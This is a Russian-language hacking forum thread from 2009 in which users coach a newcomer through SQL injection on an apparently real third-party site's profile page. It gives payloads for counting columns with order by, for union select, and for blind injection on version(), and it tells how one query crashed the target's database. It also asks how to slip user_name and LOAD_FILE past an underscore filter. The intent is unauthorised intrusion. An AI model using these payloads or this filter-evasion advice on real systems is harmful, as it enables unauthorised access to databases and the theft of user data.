Ваши вопросы по уязвимостям.

26.08.2009, 13:57

bleeep

Новичок

Регистрация: 01.02.2009

Сообщений: 5

С нами: 9090527

Репутация: 0

Помогите разобраться, пытаюсь провести инъекцию но не могу определить количество полей сделал запрос вот такой www.sait.ru/profile.php?id=-1+union+select+1-- выдал вот такую ошибку

Цитата:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '.`st_id` = `ff_users`.`st_id` AND `ff_status`.`lng_id` = 1' at line 55 file:/var/www/site.ru/profile.php line:186

Пытался перебирать поля дошел до 30 и все равно тоже самое((((Help me((

𝕏 Twitter Reddit Telegram Копировать ссылку

26.08.2009, 14:52

HAXTA4OK

Reservists Of Antichat - Level 6

Регистрация: 15.03.2009

Сообщений: 560

С нами: 9030566

Репутация: 2017

Цитата:

Сообщение от bleeep

Зачем сразу union+select делать? вначале узнаю сколько колонок- order+by+x--

где x то кол-во при котором у тебя не выдает ошибку, то есть при 61 есть ошибка а при 60 нету , значит у тебя 60 колонок и => union+select+1,2,...,59,60--

26.08.2009, 19:42

bleeep

Новичок

Регистрация: 01.02.2009

Сообщений: 5

С нами: 9090527

Репутация: 0

Цитата:

Сообщение от HAXTA4OK

А есть какя нибудь программка чтобы вручную не перебирать числа?)

26.08.2009, 19:48

--StraNger--

Познающий

Регистрация: 04.01.2009

Сообщений: 94

С нами: 9131159

Репутация: 145

Цитата:

Сообщение от bleeep

А есть какя нибудь программка чтобы вручную не перебирать числа?)

куча.
вот тут например

26.08.2009, 20:06

DrAssault

Участник форума

Регистрация: 14.11.2008

Сообщений: 149

С нами: 9204308

Репутация: 256

Цитата:

Сообщение от bleeep

А есть какя нибудь программка чтобы вручную не перебирать числа?)

Хмм, зачем програмки? проблемма решается одним, ну максимум двумя запросами, при помощи всё той же конструкции order+by…

26.08.2009, 15:00

geezer.code

Reservists Of Antichat - Level 6

Регистрация: 22.01.2007

Сообщений: 616

С нами: 10158086

Репутация: 1359

Цитата:

Сообщение от bleeep

добиться вывода не удалось . закончил вот на этом

Код:

?id=34316+union+select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from ff_for,ff_users, ff_status where 1=1 OR 1=1

mysql gone down )))

крутить можно как слепую.

Код:

?id=34316+and+substring(version(),1,1)=5

з.ы. сиськи с сайта сильно мешают думать.

26.08.2009, 14:13

Hack_ERR++

Новичок

Регистрация: 13.08.2009

Сообщений: 10

С нами: 8812555

Репутация: 10

bleeep, полей может быть хоть 150, используй order+by

26.08.2009, 17:03

jangle

Познающий

Регистрация: 19.11.2006

Сообщений: 32

С нами: 10249722

Репутация: 5

Привет всем
Как обойти ....

При запросе

union+select+user_name+from+user/* order+by+abc

фильтруется _ и запрос выглядит как

union+select+user+order+by+abc

так же происходит при LOAD_FILE

в общем в любом месте _ переводится в пробел и все что следом отбрасывается

CHAR, %5F, все не помогает

Какие есть соображения?

PS ' - экранируется

Последний раз редактировалось jangle; 26.08.2009 в 17:06..